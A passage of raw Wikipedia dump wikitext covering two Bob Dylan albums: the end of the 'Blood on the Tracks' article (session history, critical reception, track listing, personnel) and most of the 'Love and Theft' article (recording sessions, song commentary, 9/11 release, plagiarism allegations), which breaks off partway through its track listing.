Odegard had been experimenting with a new guitar lick similar to one he had heard on a Joy of Cooking song called &quot;Midnight Blues.&quot; &quot;It was a 'ring-a-ding-ding' figure that seemed to work well as an intro and a repeating figure on the front of each verse, so I stuck with it,&quot; recalls Odegard. With Dylan's approval, Odegard applied this lick to &quot;Tangled Up in Blue,&quot; where it ultimately remained.

&quot;Lily, Rosemary and the Jack of Hearts&quot; was arranged in the key of D, and when Dylan realized that the harmonicas he brought were not in the same key, Weber called his wife and asked her to go to their music store and retrieve the appropriate harmonica. Meanwhile, Dylan worked with Berg and Peterson on the song's rhythmic structure. Before Weber's wife arrived with a number of different harmonicas, the arrangement was essentially finished, and after a quick rehearsal, Dylan launched the band into a recorded take using one of his incorrect harmonicas. &quot;Not the ''wrong'' harmonica necessarily,&quot; recalls Weber, &quot;but it was certainly the wrong key for the song...Dylan used an A harmonica on the song and can be heard throughout the introduction scrambling to find notes that worked on the mismatched instrument, which harmonized neither in the tonic position nor in a blues configuration, or 'cross-harp' styling.&quot; By the time Weber's wife arrived, the recording was completed, and it would be the first and only take recorded; despite the ''wrong'' harmonica, it was eventually set aside as the new 'master take.'

&quot;If You See Her, Say Hello&quot; was the last song recorded at the January 30th session; once again, Peterson had to leave in mid-session due to a pre-arranged performance at a local jazz club, and therefore was unable to participate in the song's recording.

Master takes selected from the December 30th session would replace the 'New York' master takes on the final album, but not before some major overdubbing. &quot;He overdubbed on every single song [recorded at the Minneapolis sessions],&quot; recalls Odegard. &quot;He even overdubbed a mandolin on 'If You See Her, Say Hello,' borrowed it from Peter Ostroushko to play what's called a 'butterfly' part, in a higher register; Peter played his part, but Dylan played it as well. And Dylan overdubbed the flamenco guitar parts on 'You're a Big Girl Now' and 'If You See Her, Say Hello,' too.&quot;

The revised edition of ''Blood on the Tracks'' was eventually released on January 17th, 1975, but test pressings of the original version were eventually replicated and heavily bootlegged.

When ''Blood on the Tracks'' was released, the original album credits were not changed, omitting the Minneapolis musicians from the sleeve notes. Columbia allegedly wanted to exhaust their supply of album sleeves (printed before Dylan's decision to hold additional sessions at Studio 80), after which new sleeves would be printed with the correct album credits. However, this was never done, and subsequent re-issues of ''Blood on the Tracks'' still incorrectly list Deliverance as the only musicians involved.

In the early [[1980s]] a [[CX(audio)|CX]] encoded version was released making it the only CX encoded Dylan album.

==The Songs==

[[Salon.com]] critic Bill Wyman writes that &quot;the apogee of [Dylan's] career is perhaps ''Blood on the Tracks''. In his infrequent interviews, Dylan snaps when people ask if the record is the account of his breakup with Sara. In any case, with 15 years of fame behind him and the failure of a decade-long marriage in front of him, it is true that Dylan on this album looks at the world through blood-spattered glasses. The losses he is singing about seem fatal; his anger on songs like 'Idiot Wind' is Lear-like...

&quot;Early one morning the sun was shining,' the album begins. Dylan's voice is quieter and silkier than it ever sounded, or ever would again; each line, each word, on the record is articulated and, seemingly, meant. More than 25 years after its release it provides unexpected and moving moments. A title like 'You're a Big Girl Now' seems as if the track will be of a piece with his most condescending love songs; yet it turns out to be arranged, performed and sung in the gentlest of ways. Two lines in, Dylan sings, 'I'm back in the ''rain'',' and a minute later, at some last emotional end, he whispers, 'I can change I ''swear''' - an ineffable moment in his most vulnerable song.

&quot;'Idiot Wind' is about truth, love, hatred and the Grand Coulee Dam; 'Lily, Rosemary and the Jack of Hearts' is a meticulously constructed abstract western. The last track, 'Buckets of Rain,' is a throwaway -- rain imagery permeates the album. It seems innocent, until you listen closely and hear the easygoing guitar line that anchors the song echo and break, the strings buzzing against the guitar neck, the guitarist's hands snapping off the frets. And then you notice the album's over.&quot;

&quot;In the first verse of 'Tangled Up in Blue,' the singer stands hitchhiking on the side of a road in the rain, thinking about his dues,&quot; writes [[National Public Radio]]'s Tim Riley. &quot;By the end of the second verse, he's driven with his lover to the West Coast and abandoned the relationship along with the car. From there, the song is a tableau of encounters that conveys an atmosphere of detachment from both his lover and the people they knew together.&quot;

In an interview taken in 1985, Dylan said that &quot;'Tangled Up in Blue'...was another one of those things where I was trying to do something that I didn't think had ever been done before. In terms of trying to tell a story and be a present character in it without it being some kind of fake, sappy attempted tearjerker. I was trying to be somebody in the present time, while conjuring up a lot of past images...I wanted to defy time, so that the story took place in the present and the past at the same time. When you look at a painting, you can see any part of it, or see all of it together. I wanted that song to be like a painting.&quot;

In &quot;Simple Twist of Fate&quot; the narrator experiences what he feels is a passionate one-night stand, but when he wakes up the next morning, he sits in an empty room, wondering if the woman he had the night before is thinking about him at all.

As described by Riley, &quot;'Lily, Rosemary and the Jack of Hearts' is an intricately evasive allegory about romantic facades that hide criminal motives, and the way one character's business triggers a series of recriminations from people he doesn't even know.&quot;

Riley writes that &quot;'Shelter from the Storm'...accepts bitterness and solitude as a necessary price for buying into love's illusions, the inward scorn that repays innocence.&quot;

==Outtakes and alternate versions==

Tim Riley describes &quot;Up to Me&quot; as &quot;another buried treasure that becomes a sublime cover on [[Roger McGuinn]]'s ''Cardiff Rose'' (1976)...its armload of self-referencing touches operate as blueprints for ''Blood on the Tracks''' major themes of obession, denial, and melancholy humor. 'Up to Me' works as both the engine of feeling underlying the album and one of the sliest self-references Dylan ever gets up the nerve to sing: 'How my lone guitar played sweet for you that old-time melody / And the harmonica around my neck, I blew it for you, free... / You know it was up to me.'&quot; A serious contender for the album, it was omitted due to an overabundance of material. It was later issued on 1985's ''[[Biograph]]''.

''Blood on the Tracks'' also produced one of Dylan's most popular bootlegs, a replicated version of the acetate test pressings created for the album's original configuration. With both the original 'New York' master takes and the Minneapolis re-recordings made available for comparison, there's been much debate among critics and fans alike over Dylan's decision to replace five songs on ''Blood on the Tracks'' with the Studio 80 re-recordings.

Riley argues that Dylan &quot;was probably right to chuck the New York tracks for the Minneapolis band, not only because with new players the songs get a refreshingly naive surface that rubs up against their world-weary outlook, but because Dylan's singing in New York is so soft it sounds swallowed - a whole record of that couldn't have carried the same load.&quot;

Critic [[Robert Christgau]] wrote, &quot;The first version of this album struck me as a sellout to the memory of Dylan's pre-electric period; this [revised edition], utilizing unknown Minneapolis studio musicians who impose nothing beyond a certain anonymous brightness on the proceedings, recapitulates the strengths of that period.&quot;

Critic Paul Nelson would later describe the Minneapolis band in ''[[Rolling Stone Magazine]]'' as &quot;that wonderful pseudonymous band from Minnesota, who clearly have an affinity for Dylan and his music.&quot;

However, Clinton Heylin argues that the Studio 80 version of &quot;You're a Big Girl Now&quot; was &quot;a mere reflection of the ghost of a pale shadow of its New York self&quot; while the Studio 80 version of &quot;If You See Her, Say Hello&quot; was &quot;subjected to a number of minor changes and one line - 'If you're making love to her' became 'If you get close to her' - that stepped back from the intimacy and real hurt in the original.&quot; Though he concedes that Studio 80 versions of &quot;Lily, Rosemary and the Jack of Hearts&quot; and &quot;Tangled Up in Blue&quot; &quot;may have the edge on the New York takes,&quot; he also criticizes the Studio 80 version of &quot;Idiot Wind,&quot; arguing that although &quot;the rewrites made for a more poetic lyric, they worked at the expense of the song's sense, which, when aligned to its Minneapolis performance, is overwrought, and belies all the underlying sorrow rippling through the original vocal.&quot;

&quot;I really thought that what Paul Griffin and I did [at the September 19th session] was far superior to what was used on the final version of the album,&quot; Tony Brown later said. &quot;Nothing can touch our version of 'Idiot Wind.' And I remember getting out of the sessions and telling people how great these new songs were.&quot;

==Aftermath==

When ''Blood on the Tracks'' was first released, critical reception was somewhat mixed. ''[[Crawdaddy]]'' reviewer Jim Cusimano disparaged the album for its &quot;instrumental incompetence&quot; while ''[[NME]]'''s Nick Kent described &quot;the accompaniments [as] often so trashy they sound like mere practise takes.&quot; ''[[Rolling Stone]]'' reviewer Jon Landau, arguably Dylan's most vocal critic throughout his early career, wrote that &quot;the record itself has been made with typical shoddiness. The accompanying musicians have never sounded more indifferent...To compare the new album to ''[[Blonde on Blonde]]'' at all is to imply that people will treasure it as deeply and for as long. They won't...''Blood on the Tracks'' will only sound like a great album for a while. Like most of Dylan, it is impermanent.&quot;

Despite harsh reviews by critics like Landau and Kent, ''Blood on the Tracks'' still received its fair share of positive reviews upon its release. ''[[Rolling Stone]]'' published a four page debate between supporters and detractors of the album, while critic Paul Williams called it &quot;the best album of the last five years ''by anybody''.&quot;

&quot;Dylan's new stance is as disconcerting as all the previous ones,&quot; wrote [[Robert Christgau]], &quot;but the quickest and deepest surprise is in the music itself. By second hearing its loveliness is almost literally haunting, an aural déjà vu. There are moments of anger that seem callow, and the prevailing theme of interrupted love recalls adolescent woes, but on the whole this is the man's most mature and assured record.&quot; Christgau then gave the album an A rating.

When ''[[The Village Voice]]'' conducted its prestigious [[Pazz &amp; Jop]] Critics Poll for 1975, ''Blood on the Tracks'' managed to place at #4; Dylan and [[The Band]]'s ''[[The Basement Tapes]]'' reached #1, having been issued later that year.

The general public was also receptive to ''Blood on the Tracks''; the album became his second consecutive American chart-topper and his sixth in the United Kingdom (''Pat Garrett'' excepted).

Decades later, any negative assessments of the album were very much in the minority. One of the most celebrated albums in rock history, in [[1997]] ''Blood on the Tracks'' was named the 11th greatest album of all time in a 'Music of the Millennium' poll conducted by [[HMV]], [[Channel 4]], ''[[The Guardian]]'' and [[Classic FM (UK)|Classic FM]]. In [[1998]] [[Q_(magazine)|''Q'' magazine]] readers placed it at number 45, while in [[2003]] the [[TV network]] [[VH1]] placed it at number 29. It is number 16 on [[Rolling Stone]]'s list of the &quot;500 Greatest Albums of All Time&quot;.  It most recently was number 5 on XPN's top 885 albums of all time, and number 4 on [[Pitchfork Media]]'s Top 100 Albums of The 1970s.
 
Critic Bill Wyman would later call '''Blood on the Tracks'' &quot;[Dylan's] only flawless album and his best produced; the songs, each of them, are constructed in disciplined fashion, written and rewritten, formed in a way his songs almost never are. It is his kindest album and most dismayed, and seems in hindsight to have achieved a sublime balance between the logorrhea-plagued excesses of his mid-'60s output and the self-consciously simple compositions of his post-accident years.&quot; 

Clinton Heylin would also write that Dylan had reinvented &quot;his whole approach to language. Gone were the surrealistic turns of phrase on ''[[Blonde on Blonde]]'', gone was the 'wild mercury sound' surounding those mystical words. In their place was a uniformity of mood, a coherence of sound, and an unmistakable maturity to the voice...He had never sung better.

&quot;''Blood on the Tracks'' was not only markedly superior to the juvenile angst of ''[[Another Side of Bob Dylan]]'', Dylan's last 'confessional' album, but the album of a man in his mid-thirties, coming to terms with all the water that has passed under the old bridge. For the first time he was confronting the previous decade as a survivor, willing to reminisce about a time when 'revolution was in the air,' while insisting that his primary concerns lay elsewhere.&quot;

As Heylin writes, Dylan would continue to mine the &quot;rich vein of language struck on ''Blood on the Tracks''&quot; when he composed &quot;Abandoned Love&quot; soon after. Around the same time, Dylan wrote another new song titled &quot;One More Cup of Coffee.&quot; Both songs would set the stage for his next album, one that marked another dramatic change in his musical direction.

==Track listing==

===Side 1===

#&quot;[[Tangled Up in Blue]]&quot; - 5:40
#&quot;Simple Twist of Fate&quot; - 4:18
#&quot;You're a Big Girl Now&quot; - 4:36
#&quot;[[Idiot Wind]]&quot; - 7:45
#&quot;You're Gonna Make Me Lonesome When You Go&quot; - 2:58

===Side 2===

#&quot;Meet Me in the Morning&quot; - 4:19
#&quot;[[Lily, Rosemary and the Jack Of Hearts]]&quot; - 8:50
#&quot;If You See Her, Say Hello&quot; - 4:46
#&quot;Shelter from the Storm&quot; - 4:59
#&quot;Buckets of Rain&quot; - 3:29

==Personnel==
*Bob Dylan	 - 	Guitar, Harmonica, Keyboards, Vocals
*Bill Peterson	 - 	Bass 	 
*Eric Weissberg	 - 	Banjo, Guitar
*Tony Brown	 - 	Bass
*Charlie Brown	 - 	Guitar
*Bill Berg	 - 	Drums
*Buddy Cage	 - 	Guitar (Steel)
*Barry Kornfeld - 	Guitar
*Richard Crooks	 - 	Drums
*Paul Griffin	 - 	Organ, Keyboards
*Gregg Inhofer	 - 	Keyboards
*Tom McFaul	 - 	Keyboards
*Chris Weber	 - 	Guitar, Guitar (12 String)
*Kevin Odegard	 - 	Guitar
*Phil Ramone	 - 	Engineer
*Pete Hamill	 - 	Liner Notes
*Ron Coro	 - 	Art Direction

[[Category:Bob Dylan albums]][[Category:1975 albums]][[Category:Columbia Records albums]]
{{Bob Dylan}}

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        <id>139858</id>
      </contributor>
      <minor />
      <comment>/* Track listing */</comment>
      <text xml:space="preserve">{{unreferenced}}{{Album infobox |
  Name        = Love and Theft |
  Type        = [[Album (music)|Album]] |
  Artist      = [[Bob Dylan]] |
  Cover       = Loveandtheftcover.jpg|
  Background  = Orange |
  Released    = [[September 11]] [[2001]]|
  Recorded    = [[Spring (season)|spring]] [[2001]]|
  Genre       = [[Folk-Rock|Folk/Rock]] |
  Length      = 57:25 |
  Label       = [[Columbia Records|Columbia]] |
  Producer    = [[Bob Dylan]] (as Jack Frost)|
  Reviews     = &lt;nowiki&gt;&lt;/nowiki&gt;
* ''[[All Music Guide]]'' [[Image:4hv out of 5.png]] [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:5y62mpzj9f1o~T1 link]
* ''[[Blender Magazine|Blender]]'' (Favourable) Oct 2001, p.102
* ''[[The Music Box (magazine)|The Music Box]]'' [[Image:4 out of 5.png]] [http://www.musicbox-online.com/bd-love.html link]
* ''[[The Onion]]'' (Favourable) [http://avclub.com/content/node/12923 link]
* ''[[PopMatters]]'' (Favourable) [http://www.popmatters.com/music/reviews/d/dylanbob-love.shtml link]
* ''[[Q Magazine|Q]]'' (Favourable) Oct 2001, p.122
* [[Robert Christgau]] (A+) [http://www.robertchristgau.com/get_artist.php?name=Bob+Dylan link]
* ''[[Rolling Stone Magazine|Rolling Stone]]'' (5/5) [http://www.rollingstone.com/reviews/album/_/id/235544 RS 878]
* ''[[Spin Magazine|Spin]]'' (Favourable) Nov 2001, p.127
*''[[Village Voice]]'' (Favourable) [http://www.villagevoice.com/music/0139,tate,28446,22.html 9/26/01]|
  Last album = ''[[The Essential Bob Dylan]]''&lt;br /&gt;([[2000]])|
  This album = '''''Love and Theft'''''&lt;br /&gt;([[2001]]) |  
  Next album = ''[[The Bootleg Series Vol. 5: Bob Dylan Live 1975, The Rolling Thunder Revue|The Bootleg Series Vol. 5]]''&lt;br /&gt;([[2002]]) |}}

'''''&quot;Love and Theft&quot;''''' is an album by [[Bob Dylan]], released in [[2001]]. Coming four years after the much applauded ''[[Time Out of Mind]]'', ''&quot;Love and Theft&quot;'' was even better received by delighted critics and fans and is widely considered his best album since [[1975]]'s ''[[Blood On The Tracks]]''.  It gave Dylan his best trans-atlantic chart showings in over two decades.  Going gold in the US, ''&quot;Love and Theft&quot;'' hit #5, and it reached as high as #3 in the UK. 

Produced by Dylan himself (under his pseudonym of &quot;Jack Frost&quot;), the album is loose, carefree, touching, and even humourous at times. It won the 2002 [[Grammy]] award for &quot;Best Traditional Folk Album&quot; and was nominated for &quot;Album of the Year&quot;. Before that, it topped the ''[[Village Voice]]'''s [[Pazz &amp; Jop]] Critics Poll for 2001. {{RS500|467}}

''&quot;Love and Theft&quot;'' - which was released the same day as the [[September 11, 2001 attacks|9/11]] tragedy - remains Bob Dylan's latest studio album.

The quotation marks in the album title are apparently deliberate, as witnessed by Dylan's official website [http://bobdylan.com/albums] and by the text on the album's cover. 

==The recording sessions==

Sessions for ''&quot;Love and Theft&quot;'' were held at Sony Music's recording studios in midtown Manhattan, scheduled at approximately 3:30 p.m. every day between May 9th and the 21st in 2001. The players gathered for these sessions were Charlie Sexton on guitar, Larry Campbell on guitar as well as mandolin, violin, and banjo, Tony Garnier on bass, David Kemper on drums and percussion, and Augie Meyers on keyboards and accordion. Augie Meyers, who has known Dylan since the 1960's, had previously played in the Sir Douglas Quintet as well as ''[[Time Out of Mind]]''. (Clay Meyers also contributed bongos on &quot;Tweedle Dee &amp; Tweedle Dum&quot; and &quot;Honest With Me.&quot;)

Dylan produced these sessions under the pseudonym, 'Jack Frost,' &quot;because I didn’t feel any additional help was necessary. Not that I want to take credit or draw attention to myself. I don’t want to get flooded with calls from other people, asking me to pilot their records. Heh-heh-heh! It’s not like I'm in need of the work!&quot;

In an interview with ''[[Rolling Stone]]'' Meyers said &quot;There was none of this 'Hi, what's happening?' and a bit of BS. It was, 'OK, let's go to work.' After we were through, at ten o'clock at night, it seemed like we'd only been there a couple of hours, because it was so much fun. Every day was a special day, because every day was a new song.&quot;

Dylan wrote and re-wrote many of the lyrics to ''&quot;Love and Theft&quot;'' during the recording sessions, right on the spot. Dylan, says Meyers, would &quot;fool around for a while with a song, then we'd cut it. And he'd say, 'I think I'm gonna write a couple more verses,' sit down and write five more verses. Each verse had six or eight lines. It's complicated stuff, and he was doing it right there.&quot;

The songs, Meyers adds, were mostly recorded live, including Dylan's vocals. &quot;Bob don't like to overdub much,&quot; Meyers notes. &quot;He would overdub some acoustic guitars, put some mandolin and fiddle on there. Sometimes he'd overdub his voice. If he messed up [a vocal], he'd overdub a word or two.&quot;

''&quot;Love and Theft&quot;'' was notable for using Dylan's touring band during all of the sessions. Dylan had been touring with this unit since June 5, 1999, when Charlie Sexton replaced previous guitarist Bucky Baxter. Meyers was the only session player who was not part of that group, but even he had a relationship with guitarist Larry Campbell, who played with Meyers and Sir Douglas Quintet leader Doug Sahm back in the 1970s. 

When it came to recording albums, Dylan often hired new session players rather than take his touring band into the studio. However, as many critics and fans had noticed, his live shows were steadily improving throughout the 1990's, and by 2001, his concerts were receiving a great deal of critical acclaim. Some argued that the Sexton-Campbell combo was perhaps his best backing band since the Band in 1974. The shows were marked by tight, focused arrangements that often lent themselves to lively improvisations between Sexton and Campbell. In an interview in ''Guitar World'' Magazine, published several months before Sexton joined the band, Dylan remarked, &quot;if you're going to ask me what's the difference between now and when I used to play in the Seventies, Eighties and even back in the Sixties, the songs weren't arranged. The arrangement is the architecture of the song. And that's why our performances are so effective these days, because measure for measure we don't stray from the actual structure of the song. And once the architecture is in place, a song can be done in an endless amount ofways. That's what keeps my current live shows unadulterated. Because they're not diluted, or they're not jumbled up. They're not scrambled, they're not just a bunch of screaming... a conglomerated sound mix. It's like Skip James...once said: 'I don't want to entertain. What I want to do is impress with skill and deaden the minds of my listeners.' If you listen to his records -- his old records -- you know he can do that. But if you listen to the records he made in the Sixties, when they rediscovered him, you find that there's something missing. And what's missing is that interconnecting thread of the structure of the songs.&quot;

Dylan had previously recorded the Oscar-winning song, &quot;Things Have Changed,&quot; using this group, but ''&quot;Love and Theft&quot;'' marked their first appearance on an entire album. At the time, nobody knew it would be their only album together, as the band gradually disbanded after 2002. &quot;I think Bob has got the perfect thing,&quot; Meyers said, while the group was still intact. &quot;Lord help him, if he can go for another ten or twelve years, I think that band will be there with him.&quot;

During the recording sessions, Dylan was mindful of past bootleg releases that've &quot;been bought up by so-called hardcore fans of mine, whoever they might be - those folks out there who are obsessed with finding every scrap of paper I’ve ever written on, every single outtake. All right, that’s the world we live in. I accept it’s just the way things are. But the fact is that I can no longer be interested in it [material ‘released’ without his consent in this way]. It’s already been contaminated for me. I turn my back, move on to something else.&quot; As a result of the stricter controls exerted over his own recordings, Dylan was able to keep all of the studio work under wraps. &quot;This time...my original wasn't floating around out there, and I felt able to go back and revisit it. I’m glad for once to have had the opportunity to do so.&quot;

==The songs==

The album is named after a 1993 study of black minstrelsy by Virginia social historian Eric Lott, &lt;u&gt;Love and Theft: Blackface Minstrelsy and the American Working Class&lt;/u&gt;. However, ''&quot;Love and Theft&quot;'' is only tangentially about popular exploitation of black culture. Not surprisingly the album's jaunty style was reminiscent of the live shows leading up to ''&quot;Love and Theft&quot;'', in which Dylan covered numerous songs pre-dating rock 'n' roll and re-arranged his older material with country and blues styles that also pre-dated rock 'n' roll.

&quot;''&quot;Love and Theft&quot;'' becomes his ''Fables of the Reconstruction,'' to borrow an [[R.E.M._(band)|R.E.M.]] album title,&quot; writes Greg Kot in ''[[The Chicago Tribune]]'' (published Sep. 11, 2001), &quot;the myths, mysteries and folklore of the South as a backdrop for one of the finest roots-rock albums ever made.&quot;

The opening track, &quot;'Tweedle Dee &amp; Tweedle Dum,' rolls in like a storm, drums galloping over the horizon into ear shot, guitar riffs slicing with terse dexterity while a tale about a pair of vagabonds unfolds,&quot; writes Kot . &quot;It ends in death, and sets the stage for an album populated by rogues, con men, outcasts, gamblers, gunfighters and desperados, many of them with nothing to lose, some of them out of their minds, all of them quintessentially American.

&quot;They're the kind of twisted, instantly memorable characters one meets in [[John Ford]]'s westerns, Jack Kerouc's road novels, but, most of all, in the blues and country songs of the 1920s, '30s and '40s. This is a tour of American music -- jump blues, slow blues, rockabilly, [[Tin Pan Alley]] ballads, country swing -- that evokes the sprawl, fatalism and subversive humor of Dylan's sacred text, [[Harry Smith]]'s ''Anthology of American Folk Music,'' the pre-rock voicings of [[Hank Williams]], [[Charley Patton]] and [[Johnnie Ray]], among others, and the ultradry humor of [[Groucho Marx]].&quot;

Unlike the other songs, the album's second track, &quot;Mississippi&quot; was originally recorded for ''Time Out of Mind'' in 1997, but it was omitted from that album. [[Sheryl Crow]] would later record it for ''[[The Globe Sessions]]'', released in 1998, before Dylan revisited it for ''&quot;Love and Theft'''.

&quot;In the deceptively rollicking 'Summer Days,' a case of the wedding-day blues ends with the narrator high-tailing it out of town, but not before he sets 'fire to the place,'&quot; writes Kot. An upbeat, fast-tempo number propelled by its swinging momentum, the arrangement recalls a number of jump blues recordings from the immediate post-WWII era.

The following track is also performed with a retro arrangement, bearing a strong resemblance to small group, jazz recordings recorded in the 1930's and 1940's. &quot;Obsession turns to murder in the lounge-crooner ballad 'Bye Bye,'&quot; writes Kot, &quot;as Dylan ominously declares, 'You were my first love, and you will be my last.'&quot;

As Tim Riley of [[NPR]] notes, &quot;[Dylan's] singing [on ''&quot;Love and Theft&quot;''] shifts artfully between humble and ironic...'I'm not quite as cool or forgiving as I sound,' he sings in 'Floater,' which is either hilarious or horrifying, and probably a little of both.&quot;

&quot;''&quot;Love and Theft&quot;'' is, as the title implies, a kind of homage,&quot; writes Kot, &quot;[and] never more so than on 'High Water (for [[Charley Patton]]),' in which Dylan draws a sweeping portrait of the South's racial history, with the unsung blues singer as a symbol of the region's cultural richness and ingrained social cruelties. Rumbling drums and moaning backing vocals suggest that things are going from bad to worse. 'It's tough out there,' Dylan rasps. 'High water everywhere.' Death and dementia shadow the album, tempered by tenderness and wicked gallow's humor.&quot;

&quot;'Po Boy,' scored for banjo with lounge chord jazz patterns, 'almost sounds as if it could have been recorded around 1920,&quot; says Riley. &quot;He leaves you dangling at the end of each bridge, lets the band punctuate the trail of words he's squeezed into his lines, which gives it a reluctant soft-shoe charm.&quot;

The album closes with &quot;Sugar Baby,&quot; a lengthy, dirge-like ballad, noted for its evocative, apocalyptic imagery and sparse production drenched in echo. Praising it as &quot;a finale to be proud of,&quot; Riley notes that &quot;Sugar Baby&quot; is &quot;built on a disarmingly simple riff that turns foreboding.&quot;

Christopher Ricks, a Warren Professor of the Humanities, writes extensively on &quot;Sugar Baby&quot; in his book, &lt;u&gt;Dylan's Visions of Sin&lt;/u&gt;. &quot;The song's beat is fourfold, and the rhythm of the instrumental opening is immediately confirmed by there being four syllables in each of the first two units. But the words that provide the title and that later open the refrain, 'Sugar Baby,' have their four syllables two by two, 2 x 2. The rhythm of the words 'Sugar Baby' is a dual rhythm, fourfold and twofold. And in pacing the song, Dylan pauses at certain points so as to make two syllables occupy the time and space that in the basic scheme of things will be expected to be occupied by four syllables. It is this movement in the voicing, with its pauses (contemplative, disconcerted, riven, chary, sardonic, shifting its grounds), that gives to the song its unique gait...&quot; The song also bears the influence of Gene Austin's &quot;Lonesome Road,&quot; first copyrighted in 1928; &quot;Sugar Baby&quot; even quotes a line from Austin's song: &quot;Look up, look up and seek your Maker, 'fore Gabriel blows his horn.&quot; However, while both songs share a feeling of apocalyptic dread, the phrasing and structure is very different. &quot;At every point in ['Lonesome Road'], the words and the music and the voice are fittingly in place,&quot; Ricks writes. &quot;In ['Sugar Baby'], they are at odds. They move as the spirit takes them, and their spirit engages not only with the precious but with the precarious.&quot;

==Aftermath==

During the weeks leading up to its official release, ''&quot;Love and Theft&quot;'' was greeted with unanimous, overwhelming praise, even winning over skeptics who questioned or dismissed the merits of his previous release ''[[Time Out of Mind]]'' (an album marked by even greater media hype).

In a glowing review for his &quot;Consumer Guide&quot; column published by ''The Village Voice'', Robert Christgau wrote: &quot;Before minstrelsy scholar Eric Lott gets too excited about having his title stolen...he should recall that Dylan called his first cover album ''Self-Portrait''. Dylan meant that title, of course, and he means this one too, which doesn't make ''&quot;Love and Theft&quot;'' his minstrelsy album any more than ''Self-Portrait'''s dire &quot;Minstrel Boy&quot; was his minstrelsy song. All pop music is love and theft, and in 40 years of records whose sources have inspired volumes of scholastic exegesis, Dylan has never embraced that truth so warmly. Jokes, riddles, apercus, and revelations will surface for years, but let those who chart their lives by Dylan's cockeyed parables tease out the details. I always go for tone, spirit, music. If ''[[Time Out of Mind]]'' was his death album--it wasn't, but you know how people talk--this is his immortality album. It describes an eternal circle on masterful blazz and jop readymades that render his grizzled growl as juicy as Justin Timberlake's tenor--Tony Bennett's, even. It's profound, too, by which I mean very funny. 'I'm sitting on my watch so I can be on time,' he wheezes, because time he's got plenty of.&quot; Christgau gave the album a rare A+.

Later, when ''[[The Village Voice]]'' conducted its [[Pazz &amp; Jop]] Critics Poll for 2001, ''&quot;Love and Theft&quot;'' topped the list, the third Dylan album to accomplish that feat.

Unfortunately, when the album's release date finally came, it was not a day of celebration. ''&quot;Love and Theft&quot;'' reached stores on [[September 11, 2001]], the same morning terrorists hijacked four domestic, American airplanes, crashing them into New York's World Trade Center and the Pentagon Building in Washington, D.C.

Like a number of other albums completed before that day (such as [[Wilco]]'s ''[[Yankee Hotel Foxtrot]]''), the music press re-evaluated ''&quot;Love and Theft&quot;'' in the context of those attacks. Just as some critics found Dylan's health scare reflected in ''[[Time Out of Mind]]'', which had been completed before Dylan's hospitalization, many saw ''Love and Theft'''s imagery as a reflection of the immediate reaction, the paranoid aftermath, and the apocalyptic nature surrounding the attacks themselves. 

The two treacherous characters in &quot;Tweedle Dee &amp; Tweedle Dum&quot; are described as &quot;Living in the Land of Nod/Trustin' their fate to the Hands of God/They pass by so silently.&quot; In &quot;Mississippi,&quot; lyrics like &quot;City's just a jungle, more games to play/Trapped in the heart of it, trying to get away&quot; and &quot;Sky full of fire, pain pourin' down&quot; were read as prescient, as were some in &quot;Summer Days,&quot; where Dylan sang &quot;Yes, I'm leaving in the morning just as soon as the dark clouds lift/Gonna break the roof in - set fire to the place as a parting gift.&quot; &quot;Honest With Me&quot; featured such lines as &quot;Well, I'm stranded in the city that never sleeps&quot; and &quot;When I left my home the sky split open wide/I never wanted to go back there - I'd rather have died.&quot; &quot;Sugar Baby&quot; featured a verse where Dylan sings &quot;Every moment of existence seems like some dirty trick/Happiness can come suddenly and leave just as quick/Any minute of the day the bubble could burst/Try to make things better for someone, sometimes, you just end up making it a thousand times worse.&quot;

Even the political fall-out was seen in &quot;High Water&quot; and &quot;Summer Days&quot;; the former featured verses like &quot;Well, George Lewis told the Englishman, the Italian and the Jew/'You can't open your mind, boys, to every conceivable point of view'/They got Charles Darwin trapped out there on Highway Five/Judge says to the High Sheriff, 'I want him dead or alive/Either one, I don't care&quot; while the latter had &quot;Politician got on his jogging shoes/He must be running for office, got no time to lose/He been suckin' the blood out of the genius of generosity.&quot;

Such interpretations quickly became fashionable, but as other important events have taken shape and the attacks on the Pentagon and the World Trade Center recede into history, it's uncertain how long these interpretations will last. In an interview conducted by Alan Jackson for ''The Times'' Magazine in 2001, before the album was released, Dylan said &quot;these so-called connoisseurs of Bob Dylan music...I don't feel they know a thing, or have any inkling of who I am and what I’m about. I know they think they do, and yet it’s ludicrous, it's humorous, and sad. That such people have spent so much of their time thinking about who? Me? Get a life, please. It’s not something any one person should do about another. You’re not serving your own life well. You’re wasting your life.&quot;

By 2002, Dylan's touring band (the same unit which played on ''&quot;Love and Theft&quot;'') began to change. Kemper left, replaced by George Receli. This configuration was featured in Dylan's next project, ''[[Masked &amp; Anonymous]]'', but soon after, Charlie Sexton left the band. Larry Campbell would later follow. As of 2005, only bassist Tony Garnier remains.

In August 2003, ''[[The Wall Street Journal]]'' had a front page article detailing allegations of plagiarism in lyrics found in ''&quot;Love and Theft&quot;''. A number of lines were apparently taken from &lt;u&gt;Confessions of a Yakuza: A Life in Japan's Underworld&lt;/u&gt;, a Japanese book written by Junichi Saga. Translated to English by John Bester, the book was a biography of one of the last traditional Yakuza bosses in Japan.

In the article published in the ''Journal'', a line from &quot;Floater&quot; (&quot;I'm not quite as cool or forgiving as I sound&quot;) was traced to a line in the book, which said &quot;I'm not as cool or forgiving as I might have sounded.&quot; A number of other examples were listed, all of which can be found at http://www.dylanchords.com/41_lat/textual_sources.htm

The story caused a brief stir, but little came out of it. Saga told the Associated Press that he was ecstatic to have inspired such a well-known songwriter. Saga later told his publisher, Tokyo-based Kodansha International, that he had &quot;absolutely no plans to sue,&quot; but he did add that he would haved prefered to be credited as a source for Dylan's songs. &quot;Why would I sue? To take something that made people around the world happy and try to exploit it for money -- that's poverty,&quot; Saga said. &quot;This shows that people in other countries can relate to the harsh realities of prewar Japan, which was a poor, struggling nation. I'm just happy someone read my book and liked it.&quot;

The case was never brought to court, but it did raise some questions regarding 'fair use' and copyright infringement. For one, the book claimed to be an unauthorized memoir of a Yakuza's life, drawn from his own words without permission. Furthermore, every journalist noted the title ''&quot;Love and Theft&quot;'' was a blatant acknowledgement of 'theft' in music and pop culture, one of the peripheral themes of the album. (Before it was officially released, it was widely acknowledged that the title was also based on Lott's book.)

==Track listing==

All songs by Bob Dylan.

#&quot;Tweedle Dee &amp; Tweedle Dum&quot; - 4:46
#&quot;Mississippi&quot; - 5:21
#&quot;Summer Days&quot; - 4:52
#&quot;Bye and Bye&quot; - 3:16
#&quot;Lonesome Day Blues&quot; - 6:05
#&quot;Floater (Too Much to Ask)&quot; - 4:59
